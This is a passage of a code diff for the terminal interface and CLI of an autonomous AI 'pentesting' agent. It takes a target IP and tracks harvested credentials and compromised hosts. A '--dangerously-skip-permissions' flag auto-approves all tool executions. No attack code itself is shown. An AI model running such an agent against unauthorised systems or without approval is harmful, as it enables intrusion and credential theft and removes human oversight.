muted: "#006622",
|
|
1781
|
+
accent: "#00d4ff"
|
|
1782
|
+
},
|
|
1783
|
+
border: {
|
|
1784
|
+
default: "#00ff41",
|
|
1785
|
+
focus: "#00d4ff",
|
|
1786
|
+
error: "#ff0040"
|
|
1787
|
+
}
|
|
1788
|
+
};
|
|
1789
|
+
var ASCII_BANNER = `
|
|
1790
|
+
\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2557 \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557
|
|
1791
|
+
\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255D\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2551\u255A\u2550\u2550\u2588\u2588\u2554\u2550\u2550\u255D\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255D\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255D\u255A\u2550\u2550\u2588\u2588\u2554\u2550\u2550\u255D
|
|
1792
|
+
\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255D\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2554\u2588\u2588\u2557 \u2588\u2588\u2551 \u2588\u2588\u2551 \u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2551
|
|
1793
|
+
\u2588\u2588\u2554\u2550\u2550\u2550\u255D \u2588\u2588\u2554\u2550\u2550\u255D \u2588\u2588\u2551\u255A\u2588\u2588\u2557\u2588\u2588\u2551 \u2588\u2588\u2551 \u2588\u2588\u2554\u2550\u2550\u255D \u255A\u2550\u2550\u2550\u2550\u2588\u2588\u2551 \u2588\u2588\u2551
|
|
1794
|
+
\u2588\u2588\u2551 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551 \u255A\u2588\u2588\u2588\u2588\u2551 \u2588\u2588\u2551 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551 \u2588\u2588\u2551
|
|
1795
|
+
\u255A\u2550\u255D \u255A\u2550\u2550\u2550\u2550\u2550\u2550\u255D\u255A\u2550\u255D \u255A\u2550\u2550\u2550\u255D \u255A\u2550\u255D \u255A\u2550\u2550\u2550\u2550\u2550\u2550\u255D\u255A\u2550\u2550\u2550\u2550\u2550\u2550\u255D \u255A\u2550\u255D
|
|
1796
|
+
`;
|
|
1797
|
+
var ICONS = {
|
|
1798
|
+
skull: "[!]",
|
|
1799
|
+
lock: "[locked]",
|
|
1800
|
+
unlock: "[unlocked]",
|
|
1801
|
+
target: "[target]",
|
|
1802
|
+
fire: "[active]",
|
|
1803
|
+
warning: "[!]",
|
|
1804
|
+
success: "[+]",
|
|
1805
|
+
error: "[-]",
|
|
1806
|
+
running: "[*]",
|
|
1807
|
+
thinking: "[?]",
|
|
1808
|
+
terminal: "[$]",
|
|
1809
|
+
network: "[net]",
|
|
1810
|
+
exploit: "[exp]",
|
|
1811
|
+
scan: "[scan]",
|
|
1812
|
+
shell: "[shell]"
|
|
1813
|
+
};
|
|
1814
|
+
|
|
1815
|
+
// src/cli/app.tsx
|
|
1816
|
+
import { jsx, jsxs } from "react/jsx-runtime";
|
|
1817
|
+
var App = ({
|
|
1818
|
+
apiKey,
|
|
1819
|
+
target: initialTarget,
|
|
1820
|
+
autoStart = false,
|
|
1821
|
+
autoApprove = false,
|
|
1822
|
+
objective: initialObjective,
|
|
1823
|
+
maxIterations = 200
|
|
1824
|
+
}) => {
|
|
1825
|
+
const { exit } = useApp();
|
|
1826
|
+
const [agent] = useState(() => new AutonomousHackingAgent(apiKey, { maxIterations, autoApprove }));
|
|
1827
|
+
const [appState, setAppState] = useState({
|
|
1828
|
+
status: "idle",
|
|
1829
|
+
target: initialTarget || "",
|
|
1830
|
+
currentPhase: "recon",
|
|
1831
|
+
iteration: 0,
|
|
1832
|
+
maxIterations,
|
|
1833
|
+
findings: 0,
|
|
1834
|
+
compromised: [],
|
|
1835
|
+
credentials: 0,
|
|
1836
|
+
services: 0
|
|
1837
|
+
});
|
|
1838
|
+
const [phases, setPhases] = useState([]);
|
|
1839
|
+
const [thoughts, setThoughts] = useState([]);
|
|
1840
|
+
const [logs, setLogs] = useState([]);
|
|
1841
|
+
const [input, setInput] = useState("");
|
|
1842
|
+
const [showThoughts, setShowThoughts] = useState(true);
|
|
1843
|
+
const [isThinking, setIsThinking] = useState(false);
|
|
1844
|
+
const addLog = useCallback((type, message) => {
|
|
1845
|
+
const entry = {
|
|
1846
|
+
id: `log-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`,
|
|
1847
|
+
type,
|
|
1848
|
+
message,
|
|
1849
|
+
timestamp: /* @__PURE__ */ new Date()
|
|
1850
|
+
};
|
|
1851
|
+
setLogs((prev) => [...prev.slice(-50), entry]);
|
|
1852
|
+
}, []);
|
|
1853
|
+
useEffect(() => {
|
|
1854
|
+
agent.on("thought", (thought) => {
|
|
1855
|
+
setThoughts((prev) => [...prev.slice(-30), thought]);
|
|
1856
|
+
setIsThinking(false);
|
|
1857
|
+
});
|
|
1858
|
+
agent.on("iteration", ({ current, max, phase }) => {
|
|
1859
|
+
setAppState((prev) => ({
|
|
1860
|
+
...prev,
|
|
1861
|
+
iteration: current,
|
|
1862
|
+
maxIterations: max,
|
|
1863
|
+
currentPhase: phase,
|
|
1864
|
+
status: "running"
|
|
1865
|
+
}));
|
|
1866
|
+
setIsThinking(true);
|
|
1867
|
+
});
|
|
1868
|
+
agent.on("phase_change", ({ phaseId, newStatus }) => {
|
|
1869
|
+
setAppState((prev) => ({ ...prev, currentPhase: phaseId }));
|
|
1870
|
+
addLog("info", `[phase] ${phaseId} -> ${newStatus}`);
|
|
1871
|
+
});
|
|
1872
|
+
agent.on("tool_call", ({ name, input: input2 }) => {
|
|
1873
|
+
addLog("tool", `[tool] ${name}: ${JSON.stringify(input2).slice(0, 100)}...`);
|
|
1874
|
+
});
|
|
1875
|
+
agent.on("tool_result", ({ name, result }) => {
|
|
1876
|
+
if (result.success) {
|
|
1877
|
+
addLog("success", `[+] ${name} completed (${result.duration}ms)`);
|
|
1878
|
+
} else {
|
|
1879
|
+
addLog("error", `[-] ${name} failed: ${result.error}`);
|
|
1880
|
+
}
|
|
1881
|
+
});
|
|
1882
|
+
agent.on("finding", (finding) => {
|
|
1883
|
+
addLog("finding", `[!] [${finding.severity.toUpperCase()}] ${finding.title}`);
|
|
1884
|
+
setAppState((prev) => ({ ...prev, findings: prev.findings + 1 }));
|
|
1885
|
+
});
|
|
1886
|
+
agent.on("credential", (cred) => {
|
|
1887
|
+
addLog("success", `[cred] ${cred.type} - ${cred.username || "unknown"}`);
|
|
1888
|
+
setAppState((prev) => ({ ...prev, credentials: prev.credentials + 1 }));
|
|
1889
|
+
});
|
|
1890
|
+
agent.on("compromised", (host) => {
|
|
1891
|
+
addLog("success", `[pwned] ${host}`);
|
|
1892
|
+
setAppState((prev) => ({
|
|
1893
|
+
...prev,
|
|
1894
|
+
compromised: [...prev.compromised, host]
|
|
1895
|
+
}));
|
|
1896
|
+
});
|
|
1897
|
+
agent.on("complete", (summary) => {
|
|
1898
|
+
setAppState((prev) => ({ ...prev, status: "completed" }));
|
|
1899
|
+
addLog("success", `[done] Assessment complete: ${JSON.stringify(summary)}`);
|
|
1900
|
+
});
|
|
1901
|
+
agent.on("error", (error) => {
|
|
1902
|
+
addLog("error", `[error] ${error.message}`);
|
|
1903
|
+
});
|
|
1904
|
+
agent.on("report", (report) => {
|
|
1905
|
+
addLog("info", `[report] Generated (${report.length} chars)`);
|
|
1906
|
+
});
|
|
1907
|
+
const state = agent.getState();
|
|
1908
|
+
setPhases(state.phases);
|
|
1909
|
+
if (autoStart && initialTarget) {
|
|
1910
|
+
agent.setTarget(initialTarget);
|
|
1911
|
+
setAppState((prev) => ({ ...prev, target: initialTarget }));
|
|
1912
|
+
agent.runAutonomous(initialObjective);
|
|
1913
|
+
}
|
|
1914
|
+
return () => {
|
|
1915
|
+
agent.removeAllListeners();
|
|
1916
|
+
};
|
|
1917
|
+
}, [agent, addLog, autoStart, initialTarget, initialObjective]);
|
|
1918
|
+
useEffect(() => {
|
|
1919
|
+
const interval = setInterval(() => {
|
|
1920
|
+
const state = agent.getState();
|
|
1921
|
+
setPhases(state.phases);
|
|
1922
|
+
setAppState((prev) => ({
|
|
1923
|
+
...prev,
|
|
1924
|
+
services: state.target.services.length,
|
|
1925
|
+
credentials: state.target.credentials.length,
|
|
1926
|
+
compromised: state.target.compromised,
|
|
1927
|
+
findings: state.findings.length
|
|
1928
|
+
}));
|
|
1929
|
+
}, 1e3);
|
|
1930
|
+
return () => clearInterval(interval);
|
|
1931
|
+
}, [agent]);
|
|
1932
|
+
useInput((key, mods) => {
|
|
1933
|
+
if (mods.ctrl && key === "c") {
|
|
1934
|
+
exit();
|
|
1935
|
+
return;
|
|
1936
|
+
}
|
|
1937
|
+
if (key === "t") {
|
|
1938
|
+
setShowThoughts((prev) => !prev);
|
|
1939
|
+
}
|
|
1940
|
+
if (key === "p" && appState.status === "running") {
|
|
1941
|
+
agent.pause();
|
|
1942
|
+
setAppState((prev) => ({ ...prev, status: "paused" }));
|
|
1943
|
+
}
|
|
1944
|
+
if (key === "r" && appState.status === "paused") {
|
|
1945
|
+
agent.resume();
|
|
1946
|
+
setAppState((prev) => ({ ...prev, status: "running" }));
|
|
1947
|
+
}
|
|
1948
|
+
});
|
|
1949
|
+
const processCommand = useCallback((cmd) => {
|
|
1950
|
+
const parts = cmd.trim().split(/\s+/);
|
|
1951
|
+
const command = parts[0].toLowerCase();
|
|
1952
|
+
const args = parts.slice(1).join(" ");
|
|
1953
|
+
switch (command) {
|
|
1954
|
+
case "/target":
|
|
1955
|
+
if (args) {
|
|
1956
|
+
agent.setTarget(args);
|
|
1957
|
+
setAppState((prev) => ({ ...prev, target: args }));
|
|
1958
|
+
addLog("info", `[target] Set: ${args}`);
|
|
1959
|
+
}
|
|
1960
|
+
break;
|
|
1961
|
+
case "/start":
|
|
1962
|
+
case "/auto":
|
|
1963
|
+
if (appState.target) {
|
|
1964
|
+
const objective = args || void 0;
|
|
1965
|
+
addLog("info", `[*] Starting autonomous hacking...`);
|
|
1966
|
+
agent.runAutonomous(objective);
|
|
1967
|
+
} else {
|
|
1968
|
+
addLog("error", "No target set. Use /target <ip> first.");
|
|
1969
|
+
}
|
|
1970
|
+
break;
|
|
1971
|
+
case "/hint":
|
|
1972
|
+
if (args && appState.status === "running") {
|
|
1973
|
+
agent.processUserHint(args);
|
|
1974
|
+
addLog("info", `[hint] Sent to agent`);
|
|
1975
|
+
}
|
|
1976
|
+
break;
|
|
1977
|
+
case "/pause":
|
|
1978
|
+
agent.pause();
|
|
1979
|
+
setAppState((prev) => ({ ...prev, status: "paused" }));
|
|
1980
|
+
break;
|
|
1981
|
+
case "/resume":
|
|
1982
|
+
agent.resume();
|
|
1983
|
+
break;
|
|
1984
|
+
case "/reset":
|
|
1985
|
+
agent.reset();
|
|
1986
|
+
setAppState({
|
|
1987
|
+
status: "idle",
|
|
1988
|
+
target: "",
|
|
1989
|
+
currentPhase: "recon",
|
|
1990
|
+
iteration: 0,
|
|
1991
|
+
maxIterations,
|
|
1992
|
+
findings: 0,
|
|
1993
|
+
compromised: [],
|
|
1994
|
+
credentials: 0,
|
|
1995
|
+
services: 0
|
|
1996
|
+
});
|
|
1997
|
+
setThoughts([]);
|
|
1998
|
+
setLogs([]);
|
|
1999
|
+
addLog("info", "Session reset");
|
|
2000
|
+
break;
|
|
2001
|
+
case "/findings":
|
|
2002
|
+
const state = agent.getState();
|
|
2003
|
+
state.findings.forEach((f) => {
|
|
2004
|
+
addLog("finding", `[${f.severity}] ${f.title}: ${f.description.slice(0, 100)}`);
|
|
2005
|
+
});
|
|
2006
|
+
break;
|
|
2007
|
+
case "/help":
|
|
2008
|
+
addLog("info", "Commands: /target <ip>, /start [objective], /hint <hint>, /pause, /resume, /reset, /findings, /help");
|
|
2009
|
+
addLog("info", "Keys: [T] Toggle thoughts, [P] Pause, [R] Resume, Ctrl+C Exit");
|
|
2010
|
+
break;
|
|
2011
|
+
default:
|
|
2012
|
+
if (appState.status === "running" && cmd) {
|
|
2013
|
+
agent.processUserHint(cmd);
|
|
2014
|
+
addLog("info", `[hint] ${cmd}`);
|
|
2015
|
+
}
|
|
2016
|
+
}
|
|
2017
|
+
setInput("");
|
|
2018
|
+
}, [agent, appState, addLog, maxIterations]);
|
|
2019
|
+
const getThoughtStyle = (type) => {
|
|
2020
|
+
const styles = {
|
|
2021
|
+
observation: { prefix: "[observe]", color: THEME.hacker.cyan },
|
|
2022
|
+
hypothesis: { prefix: "[hypothesis]", color: THEME.hacker.yellow },
|
|
2023
|
+
plan: { prefix: "[plan]", color: THEME.hacker.purple },
|
|
2024
|
+
action: { prefix: "[action]", color: THEME.hacker.green },
|
|
2025
|
+
result: { prefix: "[result]", color: THEME.text.primary },
|
|
2026
|
+
reflection: { prefix: "[reflect]", color: THEME.hacker.orange },
|
|
2027
|
+
stuck: { prefix: "[stuck]", color: THEME.hacker.red },
|
|
2028
|
+
breakthrough: { prefix: "[breakthrough]", color: "#00ff00" }
|
|
2029
|
+
};
|
|
2030
|
+
return styles[type] || { prefix: "[info]", color: THEME.text.muted };
|
|
2031
|
+
};
|
|
2032
|
+
const getPhaseIcon = (status) => {
|
|
2033
|
+
switch (status) {
|
|
2034
|
+
case "completed":
|
|
2035
|
+
return "[+]";
|
|
2036
|
+
case "in_progress":
|
|
2037
|
+
return "[*]";
|
|
2038
|
+
case "failed":
|
|
2039
|
+
return "[-]";
|
|
2040
|
+
case "skipped":
|
|
2041
|
+
return "[>]";
|
|
2042
|
+
default:
|
|
2043
|
+
return "[ ]";
|
|
2044
|
+
}
|
|
2045
|
+
};
|
|
2046
|
+
return /* @__PURE__ */ jsxs(Box, { flexDirection: "column", padding: 1, children: [
|
|
2047
|
+
/* @__PURE__ */ jsxs(Box, { flexDirection: "column", marginBottom: 1, children: [
|
|
2048
|
+
/* @__PURE__ */ jsx(Text, { color: THEME.hacker.green, children: ASCII_BANNER }),
|
|
2049
|
+
/* @__PURE__ */ jsxs(Box, { marginTop: 1, justifyContent: "space-between", children: [
|
|
2050
|
+
/* @__PURE__ */ jsxs(Text, { color: THEME.hacker.red, children: [
|
|
2051
|
+
ICONS.target,
|
|
2052
|
+
" Target: ",
|
|
2053
|
+
/* @__PURE__ */ jsx(Text, { color: THEME.hacker.cyan, bold: true, children: appState.target || "Not set" })
|
|
2054
|
+
] }),
|
|
2055
|
+
/* @__PURE__ */ jsxs(Text, { color: THEME.text.muted, children: [
|
|
2056
|
+
"Status: ",
|
|
2057
|
+
/* @__PURE__ */ jsx(Text, { color: appState.status === "running" ? THEME.hacker.green : THEME.hacker.yellow, children: appState.status.toUpperCase() })
|
|
2058
|
+
] }),
|
|
2059
|
+
/* @__PURE__ */ jsxs(Text, { color: THEME.text.muted, children: [
|
|
2060
|
+
"Iteration: ",
|
|
2061
|
+
/* @__PURE__ */ jsxs(Text, { color: THEME.hacker.cyan, children: [
|
|
2062
|
+
appState.iteration,
|
|
2063
|
+
"/",
|
|
2064
|
+
appState.maxIterations
|
|
2065
|
+
] })
|
|
2066
|
+
] })
|
|
2067
|
+
] })
|
|
2068
|
+
] }),
|
|
2069
|
+
/* @__PURE__ */ jsxs(Box, { borderStyle: "single", borderColor: THEME.hacker.purple, paddingX: 1, children: [
|
|
2070
|
+
/* @__PURE__ */ jsx(Text, { color: THEME.text.muted, children: "Services: " }),
|
|
2071
|
+
/* @__PURE__ */ jsx(Text, { color: THEME.hacker.green, children: appState.services }),
|
|
2072
|
+
/* @__PURE__ */ jsx(Text, { children: " | " }),
|
|
2073
|
+
/* @__PURE__ */ jsx(Text, { color: THEME.text.muted, children: "Creds: " }),
|
|
2074
|
+
/* @__PURE__ */ jsx(Text, { color: THEME.hacker.yellow, children: appState.credentials }),
|
|
2075
|
+
/* @__PURE__ */ jsx(Text, { children: " | " }),
|
|
2076
|
+
/* @__PURE__ */ jsx(Text, { color: THEME.text.muted, children: "Pwned: " }),
|
|
2077
|
+
/* @__PURE__ */ jsx(Text, { color: appState.compromised.length > 0 ? THEME.status.success : THEME.text.muted, children: appState.compromised.length > 0 ? appState.compromised.join(", ") : "0" }),
|
|
2078
|
+
/* @__PURE__ */ jsx(Text, { children: " | " }),
|
|
2079
|
+
/* @__PURE__ */ jsx(Text, { color: THEME.text.muted, children: "Findings: " }),
|
|
2080
|
+
/* @__PURE__ */ jsx(Text, { color: THEME.hacker.orange, children: appState.findings })
|
|
2081
|
+
] }),
|
|
2082
|
+
/* @__PURE__ */ jsxs(Box, { borderStyle: "single", borderColor: THEME.hacker.cyan, paddingX: 1, marginTop: 1, children: [
|
|
2083
|
+
/* @__PURE__ */ jsx(Text, { color: THEME.hacker.cyan, bold: true, children: "[phases] " }),
|
|
2084
|
+
phases.map((phase) => /* @__PURE__ */ jsx(Box, { marginRight: 1, children: /* @__PURE__ */ jsxs(
|
|
2085
|
+
Text,
|
|
2086
|
+
{
|
|
2087
|
+
color: phase.id === appState.currentPhase ? THEME.hacker.yellow : phase.status === "completed" ? THEME.status.success : THEME.text.muted,
|
|
2088
|
+
bold: phase.id === appState.currentPhase,
|
|
2089
|
+
children: [
|
|
2090
|
+
getPhaseIcon(phase.status),
|
|
2091
|
+
phase.name,
|
|
2092
|
+
phase.attempts > 0 && /* @__PURE__ */ jsxs(Text, { dimColor: true, children: [
|
|
2093
|
+
"(",
|
|
2094
|
+
phase.attempts,
|
|
2095
|
+
")"
|
|
2096
|
+
] })
|
|
2097
|
+
]
|
|
2098
|
+
}
|
|
2099
|
+
) }, phase.id))
|
|
2100
|
+
] }),
|
|
2101
|
+
showThoughts && /* @__PURE__ */ jsxs(
|
|
2102
|
+
Box,
|
|
2103
|
+
{
|
|
2104
|
+
flexDirection: "column",
|
|
2105
|
+
borderStyle: "single",
|
|
2106
|
+
borderColor: THEME.hacker.purple,
|
|
2107
|
+
paddingX: 1,
|
|
2108
|
+
height: 10,
|
|
2109
|
+
marginTop: 1,
|
|
2110
|
+
children: [
|
|
2111
|
+
/* @__PURE__ */ jsxs(Box, { children: [
|
|
2112
|
+
/* @__PURE__ */ jsx(Text, { color: THEME.hacker.purple, bold: true, children: "[agent thoughts]" }),
|
|
2113
|
+
isThinking && /* @__PURE__ */ jsxs(Box, { marginLeft: 2, children: [
|
|
2114
|
+
/* @__PURE__ */ jsx(Text, { color: THEME.hacker.yellow, children: /* @__PURE__ */ jsx(Spinner, { type: "dots" }) }),
|
|
2115
|
+
/* @__PURE__ */ jsx(Text, { color: THEME.hacker.yellow, children: " Thinking..." })
|
|
2116
|
+
] })
|
|
2117
|
+
] }),
|
|
2118
|
+
/* @__PURE__ */ jsx(Static, { items: thoughts.slice(-6), children: (thought) => {
|
|
2119
|
+
const style = getThoughtStyle(thought.type);
|
|
2120
|
+
return /* @__PURE__ */ jsxs(Box, { children: [
|
|
2121
|
+
/* @__PURE__ */ jsxs(Text, { color: THEME.text.muted, dimColor: true, children: [
|
|
2122
|
+
"[",
|
|
2123
|
+
thought.timestamp.toLocaleTimeString(),
|
|
2124
|
+
"]"
|
|
2125
|
+
] }),
|
|
2126
|
+
/* @__PURE__ */ jsxs(Text, { color: style.color, children: [
|
|
2127
|
+
" ",
|
|
2128
|
+
style.prefix,
|
|
2129
|
+
" ",
|
|
2130
|
+
thought.content.slice(0, 120),
|
|
2131
|
+
thought.content.length > 120 && "..."
|
|
2132
|
+
] })
|
|
2133
|
+
] }, thought.id);
|
|
2134
|
+
} })
|
|
2135
|
+
]
|
|
2136
|
+
}
|
|
2137
|
+
),
|
|
2138
|
+
/* @__PURE__ */ jsxs(
|
|
2139
|
+
Box,
|
|
2140
|
+
{
|
|
2141
|
+
flexDirection: "column",
|
|
2142
|
+
borderStyle: "single",
|
|
2143
|
+
borderColor: THEME.hacker.green,
|
|
2144
|
+
paddingX: 1,
|
|
2145
|
+
height: 12,
|
|
2146
|
+
marginTop: 1,
|
|
2147
|
+
children: [
|
|
2148
|
+
/* @__PURE__ */ jsx(Text, { color: THEME.hacker.green, bold: true, children: "[activity log]" }),
|
|
2149
|
+
/* @__PURE__ */ jsx(Static, { items: logs.slice(-10), children: (log) => /* @__PURE__ */ jsxs(Box, { children: [
|
|
2150
|
+
/* @__PURE__ */ jsxs(Text, { color: THEME.text.muted, dimColor: true, children: [
|
|
2151
|
+
"[",
|
|
2152
|
+
log.timestamp.toLocaleTimeString(),
|
|
2153
|
+
"]"
|
|
2154
|
+
] }),
|
|
2155
|
+
/* @__PURE__ */ jsxs(Text, { color: log.type === "success" ? THEME.status.success : log.type === "error" ? THEME.status.error : log.type === "warning" ? THEME.status.warning : log.type === "finding" ? THEME.hacker.orange : log.type === "tool" ? THEME.hacker.cyan : THEME.text.primary, children: [
|
|
2156
|
+
" ",
|
|
2157
|
+
log.message
|
|
2158
|
+
] })
|
|
2159
|
+
] }, log.id) })
|
|
2160
|
+
]
|
|
2161
|
+
}
|
|
2162
|
+
),
|
|
2163
|
+
/* @__PURE__ */ jsxs(Box, { marginTop: 1, children: [
|
|
2164
|
+
/* @__PURE__ */ jsxs(Text, { color: THEME.hacker.green, bold: true, children: [
|
|
2165
|
+
"pentesting ",
|
|
2166
|
+
">",
|
|
2167
|
+
" "
|
|
2168
|
+
] }),
|
|
2169
|
+
/* @__PURE__ */ jsx(Text, { color: THEME.text.primary, children: input }),
|
|
2170
|
+
/* @__PURE__ */ jsx(Text, { color: THEME.hacker.green, children: "_" })
|
|
2171
|
+
] }),
|
|
2172
|
+
/* @__PURE__ */ jsx(Box, { marginTop: 1, children: /* @__PURE__ */ jsx(Text, { color: THEME.text.muted, dimColor: true, children: "[T] Toggle thoughts | [P] Pause | [R] Resume | Type command or hint" }) })
|
|
2173
|
+
] });
|
|
2174
|
+
};
|
|
2175
|
+
var app_default = App;
|
|
2176
|
+
|
|
2177
|
+
// src/index.tsx
|
|
2178
|
+
import chalk from "chalk";
|
|
2179
|
+
import { jsx as jsx2 } from "react/jsx-runtime";
|
|
2180
|
+
var program = new Command();
|
|
2181
|
+
program.name("pentesting").version(APP_VERSION).description(APP_DESCRIPTION).option("--dangerously-skip-permissions", "Skip all permission prompts (dangerous!)").option("-t, --target <target>", "Set initial target");
|
|
2182
|
+
program.command("interactive", { isDefault: true }).alias("i").description("Start interactive TUI mode").action(() => {
|
|
2183
|
+
const opts = program.opts();
|
|
2184
|
+
const skipPermissions = opts.dangerouslySkipPermissions || false;
|
|
2185
|
+
console.clear();
|
|
2186
|
+
console.log(chalk.hex(THEME.hacker.green)(ASCII_BANNER));
|
|
2187
|
+
if (skipPermissions) {
|
|
2188
|
+
console.log(chalk.hex(THEME.hacker.red)("[!] WARNING: Running with --dangerously-skip-permissions"));
|
|
2189
|
+
console.log(chalk.hex(THEME.hacker.red)("[!] All tool executions will be auto-approved!\n"));
|
|
2190
|
+
}
|
|
2191
|
+
console.log(chalk.hex(THEME.hacker.cyan)("Starting Pentest interactive mode...\n"));
|
|
2192
|
+
const { waitUntilExit } = render(
|
|
2193
|
+
/* @__PURE__ */ jsx2(
|
|
2194
|
+
app_default,
|
|
2195
|
+
{
|
|
2196
|
+
autoApprove: skipPermissions,
|
|
2197
|
+
target: opts.target
|
|
2198
|
+
}
|
|
2199
|
+
)
|
|
2200
|
+
);
|
|
2201
|
+
waitUntilExit();
|
|
2202
|
+
});
|
|
2203
|
+
program.command("run <objective>").alias("r").description("Run a single objective and exit").option("-o, --output <file>", "Output file for results").option("--max-steps <n>", "Maximum number of steps", "50").action(async (objective, options) => {
|
|
2204
|
+
const opts = program.opts();
|
|
2205
|
+
const skipPermissions = opts.dangerouslySkipPermissions || false;
|
|
2206
|
+
console.log(chalk.hex(THEME.hacker.green)(ASCII_BANNER));
|
|
2207
|
+
if (skipPermissions) {
|
|
2208
|
+
console.log(chalk.hex(THEME.hacker.red)("[!] WARNING: Running with --dangerously-skip-permissions\n"));
|
|
2209
|
+
}
|
|
2210
|
+
console.log(chalk.hex(THEME.hacker.cyan)(`[target] Objective: ${objective}
|
|
2211
|
+
`));
|
|
2212
|
+
const agent = new AutonomousHackingAgent(void 0, {
|
|
2213
|
+
maxIterations: parseInt(options.maxSteps),
|
|
2214
|
+
autoApprove: skipPermissions
|
|
2215
|
+
});
|
|
2216
|
+
if (opts.target) {
|
|
2217
|
+
agent.setTarget(opts.target);
|
|
2218
|
+
}
|
|
2219
|
+
agent.on("tool_call", (data) => {
|
|
2220
|
+
console.log(chalk.hex(THEME.hacker.cyan)(`[tool] ${data.name} executing...`));
|
|
2221
|
+
});
|
|
2222
|
+
agent.on("finding", (finding) => {
|
|
2223
|
+
const color = finding.severity === "critical" ? THEME.hacker.red : THEME.hacker.yellow;
|
|
2224
|
+
console.log(chalk.hex(color)(`[!] [${finding.severity.toUpperCase()}] ${finding.title}`));
|
|
2225
|
+
});
|
|
2226
|
+
agent.on("error", (error) => {
|
|
2227
|
+
console.error(chalk.hex(THEME.hacker.red)(`[-] Error: ${error.message}`));
|
|
2228
|
+
});
|
|
2229
|
+
try {
|
|
2230
|
+
await agent.runAutonomous(objective);
|
|
2231
|
+
console.log(chalk.hex(THEME.hacker.green)("\n[+] Assessment complete!\n"));
|
|
2232
|
+
const summary = agent.getSummary();
|
|
2233
|
+
console.log(JSON.stringify(summary, null, 2));
|
|
2234
|
+
if (options.output) {
|
|
2235
|
+
const fs2 = await import("fs/promises");
|
|
2236
|
+
await fs2.writeFile(options.output, JSON.stringify(summary, null, 2));
|
|
2237
|
+
console.log(chalk.hex(THEME.hacker.cyan)(`
|
|
2238
|
+
[+] Report saved to: ${options.output}`));
|
|
2239
|
+
}
|
|
2240
|
+
} catch (error) {
|
|
2241
|
+
console.error(chalk.hex(THEME.hacker.red)(`
|
|
2242
|
+
[-] Failed: ${error.message}`));
|
|
2243
|
+
process.exit(1);
|
|
2244
|
+
}
|
|
2245
|
+
});
|
|
2246
|
+
program.command("scan <target>").description("Quick scan a target").option("-s, --scan-type <type>", "Scan type (quick|full|stealth|service|vuln)", "quick").option("-p, --ports <ports>", "Specific ports to scan").action(async (target, options) => {
|
|
2247
|
+
const opts = program.opts();
|
|
2248
|
+
const skipPermissions = opts.dangerouslySkipPermissions || false;
|
|
2249
|
+
console.log(chalk.hex(THEME.hacker.green)(ASCII_BANNER));
|
|
2250
|
+
console.log(chalk.hex(THEME.hacker.cyan)(`
|
|
2251
|
+
[scan] Target: ${target} (${options.scanType})
|
|
2252
|
+
`));
|
|
2253
|
+
const agent = new AutonomousHackingAgent(void 0, { autoApprove: skipPermissions });
|
|
2254
|
+
agent.setTarget(target);
|
|
2255
|
+
agent.on("tool_call", (data) => {
|
|
2256
|
+
console.log(chalk.hex(THEME.hacker.cyan)(`[tool] ${data.name}...`));
|
|
2257
|
+
});
|
|
2258
|
+
await agent.runAutonomous(`Perform a ${options.scanType} scan on ${target}${options.ports ? ` focusing on ports ${options.ports}` : ""}. Analyze the results and identify potential vulnerabilities.`);
|
|
2259
|
+
console.log(chalk.hex(THEME.hacker.green)("[+] Scan complete!"));
|
|
2260
|
+
});
|
|
2261
|
+
program.command("help-extended").description("Show extended help with examples").action(() => {
|
|
2262
|
+
console.log(chalk.hex(THEME.hacker.green)(ASCII_BANNER));
|
|
2263
|
+
console.log(`
|
|
2264
|
+
${chalk.hex(THEME.hacker.cyan)("Pentest - Autonomous Penetration Testing AI")}
|
|
2265
|
+
|
|
2266
|
+
${chalk.hex(THEME.hacker.yellow)("Usage:")}
|
|
2267
|
+
|
|
2268
|
+
${chalk.hex(THEME.hacker.green)("$ pentesting")} Start interactive mode
|
|
2269
|
+
${chalk.hex(THEME.hacker.green)("$ pentesting -t 192.168.1.1")} Start with target
|
|
2270
|
+
${chalk.hex(THEME.hacker.green)("$ pentesting --dangerously-skip-permissions")} Auto-approve all tools
|
|
2271
|
+
|
|
2272
|
+
${chalk.hex(THEME.hacker.yellow)("Commands:")}
|
|
2273
|
+
|
|
2274
|
+
${chalk.hex(THEME.hacker.cyan)("pentesting")} Interactive TUI mode
|
|
2275
|
+
${chalk.hex(THEME.hacker.cyan)("pentesting run <objective>")} Run single objective
|
|
2276
|
+
${chalk.hex(THEME.hacker.cyan)("pentesting scan <target>")} Quick scan target
|
|
2277
|
+
|
|
2278
|
+
${chalk.hex(THEME.hacker.yellow)("Options:")}
|
|
2279
|
+
|
|
2280
|
+
${chalk.hex(THEME.hacker.cyan)("--dangerously-skip-permissions")} Skip all permission prompts
|
|
2281
|
+
${chalk.hex(THEME.hacker.cyan)("-t, --target <ip>")} Set target
|
|
2282
|
+
${chalk.hex(THEME.hacker.cyan)("-o, --output <file>")} Save results to file
|
|
2283
|
+
|
|
2284
|
+
${chalk.hex(THEME.hacker.yellow)("Interactive Commands:")}
|
|
2285
|
+
|
|
2286
|
+
${chalk.hex(THEME.hacker.cyan)("/target <ip>")} Set target
|
|
2287
|
+
${chalk.hex(THEME.hacker.cyan)("/start")} Start autonomous mode
|
|
2288
|
+
${chalk.hex(THEME.hacker.cyan)("/hint <text>")} Provide hint
|
|
2289
|
+
${chalk.hex(THEME.hacker.cyan)("/findings")} Show findings
|
|
2290
|
+
${chalk.hex(THEME.hacker.cyan)("/reset")} Reset session
|
|
2291
